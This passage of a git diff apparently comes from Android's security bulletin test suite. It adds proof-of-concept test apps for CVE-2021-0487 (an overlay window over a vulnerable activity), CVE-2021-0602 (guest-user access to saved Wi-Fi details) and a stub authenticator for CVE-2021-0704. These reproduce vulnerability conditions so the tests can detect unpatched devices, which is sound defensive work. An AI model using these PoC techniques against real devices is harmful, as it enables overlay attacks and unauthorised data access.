+ public void testOverlayButtonPresence() {
+ try {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+
+ /* Go to home screen */
+ device.pressHome();
+
+ /* Start the overlay service */
+ startOverlayService();
+ mResources = mContext.getResources();
+
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mResources.getString(R.string.resultKey))) {
+ preferenceChanged.release();
+ }
+ }
+ };
+ sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
+
+ /* Wait for the overlay service to set some result in shared preferences */
+ assumeTrue(preferenceChanged.tryAcquire(LAUNCH_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ int result = sharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = sharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+ device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of overlay window is gone */
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.pkg(mContext.getPackageName())), LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = device.executeShellCommand(
+ mContext.getString(R.string.dumpsysActivity, mVulnerablePkgName));
+ Pattern activityPattern = Pattern.compile(mContext.getString(R.string.resumedTrue),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(mContext.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(mContext.getString(R.string.errorMessage), overlayDisallowed);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java
new file mode 100644
index 0000000..1a8cd0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/PocService.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0487;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+import androidx.annotation.IntegerRes;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ int getInteger(@IntegerRes int resId) {
+ return getResources().getInteger(resId);
+ }
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ try {
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ } catch (Exception e) {
+ sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ try {
+ showFloatingWindow();
+ sendTestResult(getInteger(R.integer.pass), "");
+ } catch (Exception e) {
+ sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+ }
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ super.onDestroy();
+ } catch (Exception e) {
+ // ignore the exception
+ }
+ }
+
+ private void showFloatingWindow() {
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+
+ private void sendTestResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore the exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/Android.bp
similarity index 85%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0602/Android.bp
index 50acd29..e05cfed 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,11 +20,13 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-0602",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java"
+ ],
test_suites: [
"sts",
],
@@ -33,5 +35,5 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/AndroidManifest.xml
new file mode 100644
index 0000000..e304798
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0602">
+ <application>
+ <activity android:name=".PocActivity" />
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0602" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/res/values/strings.xml
new file mode 100644
index 0000000..b5eb281
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/res/values/strings.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="broadcastAction">CVE_2021_0602_action</string>
+ <string name="broadcastMessage">ExceptionMessage</string>
+ <string name="guestUserName">Guest</string>
+ <string name="noExceptionMessage">NoExceptionMessage</string>
+ <string name="resType">string</string>
+ <string name="savedNetworkSettingResId">status_wifi_mac_address</string>
+ <string name="testFailMessage">Vulnerable to b/177573895</string>
+ <string name="testNetworkConfigSSID">\"testPocSSID\"</string>
+ <string name="testNetworkPassphrase">testPocPassphrase</string>
+ <string name="testNetworkSSID">testPocSSID</string>
+ <string name="uiObjectForgetText">FORGET</string>
+ <string name="uiObjectNotFoundMsg">Unable to find UiObject with %1$s text/id</string>
+ <string name="uiObjectSaveText">SAVE</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/DeviceTest.java
new file mode 100644
index 0000000..22ec2cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/DeviceTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0602;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.UserInfo;
+import android.content.res.Resources;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private UiDevice mDevice;
+ private final int WAIT_MS = 5000;
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound = mDevice.wait(Until.hasObject(selector), WAIT_MS);
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testCVE_2021_0602() {
+ Context context = null;
+ UiAutomation uiAutomation = null;
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ uiAutomation = instrumentation.getUiAutomation();
+ mDevice = UiDevice.getInstance(instrumentation);
+ context = instrumentation.getContext();
+ CompletableFuture<String> exceptionMessage = new CompletableFuture<>();
+
+ // Register a broadcast receiver to receive broadcast from PocActivity indicating
+ // failure/success of adding Test Network configuration in device
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(context.getString(R.string.broadcastAction))) {
+ exceptionMessage.complete(
+ intent.getStringExtra(
+ context.getString(R.string.broadcastMessage)));
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+
+ IntentFilter filter = new IntentFilter(context.getString(R.string.broadcastAction));
+ filter.addAction(context.getString(R.string.broadcastAction));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Starting PocActivity to add Test Network configuration in Device
+ context.startActivity(
+ new Intent(context, PocActivity.class).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+ String message = exceptionMessage.get(WAIT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(message, message.equals(context.getString(R.string.noExceptionMessage)));
+
+ // Clicking on Save to add the TestNetwork in Saved Network List
+ Pattern workPattern =
+ Pattern.compile(
+ context.getString(R.string.uiObjectSaveText), Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(workPattern);
+ assumeTrue(
+ context.getString(
+ R.string.uiObjectNotFoundMsg,
+ context.getString(R.string.uiObjectSaveText)),
+ clickUiObject(selector));
+
+ UserHandle guestUserHandle = null;
+ uiAutomation.adoptShellPermissionIdentity();
+ final List<UserInfo> list = context.getSystemService(UserManager.class).getUsers(true);
+ for (UserInfo info : list) {
+ if (info.toString().contains(context.getString(R.string.guestUserName))) {
+ guestUserHandle = info.getUserHandle();
+ break;
+ }
+ }
+
+ // Switching to Guest User
+ context.getSystemService(ActivityManager.class).switchUser(guestUserHandle);
+
+ // Starting 'android.settings.DEVICE_INFO_SETTINGS' activity in Guest User
+ Intent intent = new Intent(Settings.ACTION_DEVICE_INFO_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivityAsUser(intent, guestUserHandle);
+
+ String settingsPackageName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ Context settingsContext =
+ context.createPackageContext(
+ settingsPackageName, Context.CONTEXT_IGNORE_SECURITY);
+ Resources res =
+ settingsContext
+ .getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text =
+ settingsContext.getString(
+ res.getIdentifier(
+ context.getString(R.string.savedNetworkSettingResId),
+ context.getString(R.string.resType),
+ settingsPackageName));
+
+ UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+ uiScrollable.scrollTextIntoView(text);
+
+ // Select 'WiFi MAC Address' - launches Saved Networks Settings Fragment
+ selector = By.text(text);
+ assumeTrue(
+ context.getString(
+ R.string.uiObjectNotFoundMsg,
+ context.getString(R.string.savedNetworkSettingResId)),
+ clickUiObject(selector));
+
+ // Select testNetworkSSID network
+ selector = By.text(context.getString(R.string.testNetworkSSID));
+ assumeTrue(
+ context.getString(
+ R.string.uiObjectNotFoundMsg,
+ context.getString(R.string.testNetworkSSID)),
+ clickUiObject(selector));
+
+ workPattern =
+ Pattern.compile(
+ context.getString(R.string.uiObjectForgetText),
+ Pattern.CASE_INSENSITIVE);
+ selector = By.text(workPattern);
+ mDevice.wait(Until.hasObject(selector), WAIT_MS);
+
+ // on vulnerable device, the secured network details will be accessible to the guest
+ // user. The test fails if the 'FORGET' object is found
+ assertFalse(
+ context.getString(R.string.testFailMessage),
+ mDevice.findObject(selector) != null);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Cleanup: Remove the TestNetwork from the Saved Network List
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
+ List<WifiConfiguration> configuredNetworks = wifiManager.getConfiguredNetworks();
+
+ for (WifiConfiguration wifiConfiguration : configuredNetworks) {
+ if (wifiConfiguration.SSID.equals(
+ context.getString(R.string.testNetworkConfigSSID))) {
+ wifiManager.removeNetwork(wifiConfiguration.networkId);
+ }
+ }
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/PocActivity.java
new file mode 100644
index 0000000..1a51b69
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0602/src/android/security/cts/CVE_2021_0602/PocActivity.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0602;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.provider.Settings;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+
+ // Adding a Secured Test Network in the Saved Network List
+ final List<WifiNetworkSuggestion> suggestionsList = new ArrayList<>();
+ suggestionsList.add(
+ new WifiNetworkSuggestion.Builder()
+ .setSsid(getString(R.string.testNetworkSSID))
+ .setWpa2Passphrase(getString(R.string.testNetworkPassphrase))
+ .build());
+ Bundle bundle = new Bundle();
+ bundle.putParcelableArrayList(
+ Settings.EXTRA_WIFI_NETWORK_LIST,
+ (ArrayList<? extends Parcelable>) suggestionsList);
+ final Intent intent = new Intent(Settings.ACTION_WIFI_ADD_NETWORKS);
+ intent.putExtras(bundle);
+ startActivityForResult(intent, 0);
+ sendBroadcast(
+ new Intent(getString(R.string.broadcastAction))
+ .putExtra(
+ getString(R.string.broadcastMessage),
+ getString(R.string.noExceptionMessage)));
+ } catch (Exception e) {
+ sendBroadcast(
+ new Intent(getString(R.string.broadcastAction))
+ .putExtra(getString(R.string.broadcastMessage), e.getMessage()));
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
deleted file mode 100644
index 8fc235b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0642;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ActivityNotFoundException;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.telephony.TelephonyManager;
-
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-
-import java.util.List;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
- static final String APP_TITLE = "CVE-2021-0642";
- static final String PACKAGE_NAME = "com.android.phone";
- static final int LAUNCH_TIMEOUT_MS = 20000;
-
- @Test
- public void testCVE_2021_0642() {
- UiDevice device = UiDevice.getInstance(getInstrumentation());
- Context context = getApplicationContext();
- assertThat(context, notNullValue());
- PackageManager packageManager = context.getPackageManager();
- assertThat(packageManager, notNullValue());
- assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
- final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try {
- context.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
-
- // Check if "com.android.phone" exists on the system
- try {
- packageManager.getPackageUid(PACKAGE_NAME, 0);
- } catch (PackageManager.NameNotFoundException e) {
- assumeNoException(e);
- }
-
- // Wait for activity (which is part of package "com.android.phone") that
- // handles ACTION_CONFIGURE_VOICEMAIL to get launched
- boolean isVoicemailVisible =
- device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
-
- // To check if PocActivity was launched
- BySelector selector = By.enabled(true);
- List<UiObject2> objects = device.findObjects(selector);
- boolean isPocActivityVisible = false;
- for (UiObject2 o : objects) {
- String visibleText = o.getText();
- if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
- isPocActivityVisible = true;
- break;
- }
- }
- device.pressHome();
-
- assumeTrue(isVoicemailVisible || isPocActivityVisible);
-
- String outputMsg = "Device is vulnerable to b/185126149 "
- + "hence sensitive Iccid could be sniffed by intercepting "
- + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
- assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/Android.bp
index 50acd29..1f80b5b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/Android.bp
@@ -20,18 +20,15 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-0704-stub",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/AndroidManifest.xml
new file mode 100644
index 0000000..7a02019
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0704_stub">
+ <application>
+ <service android:name=".StubAuthenticator"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ <provider android:name=".StubProvider"
+ android:authorities="android.security.cts.CVE_2021_0704_stub.provider"
+ android:exported="true"
+ android:syncable="true">
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/values/strings.xml
new file mode 100644
index 0000000..3f674c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="accountName">foo</string>
+ <string name="accountPass">bar</string>
+ <string name="accountType">com.stub</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/xml/authenticator.xml
new file mode 100644
index 0000000..48e0748
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/res/xml/authenticator.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="@string/accountType" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubAuthenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubAuthenticator.java
new file mode 100644
index 0000000..b14179c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0704/stub-app/src/android/security/cts/CVE_2021_0704_stub/StubAuthenticator.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0704_stub;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class StubAuthenticator extends Service {
+ private Authenticator mAuthenticator;
+
+ @Override
+ public void onCreate() {
+ mAuthenticator = new Authenticator(this);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mAuthenticator.getIBinder();
+ }
+
+ public class Authenticator extends AbstractAccountAuthenticator {
+ public Authenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+ String tokenType, String[] strings, Bundle bundle) throws NetworkErrorException {
+ try {
+ String accountName = getString(R.string.accountName);
+ String accountPassword = getString(R.string.accountPass);
+ AccountManager accountManager = getSystemService(AccountManager.class);
+ accountManager.addAccountExplicitly(new Account(accountName, accountType),
+ accountPassword, null);
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ACCOUNT_NAME, accountName);
+ result.putString(AccountManager.KEY_ACCOUNT_TYPE, accountType);
+ response.onResult(result);
+ } catch (Exception ignored) {
+ // ignore any exceptions.
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+ String type, Bundle bundle) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
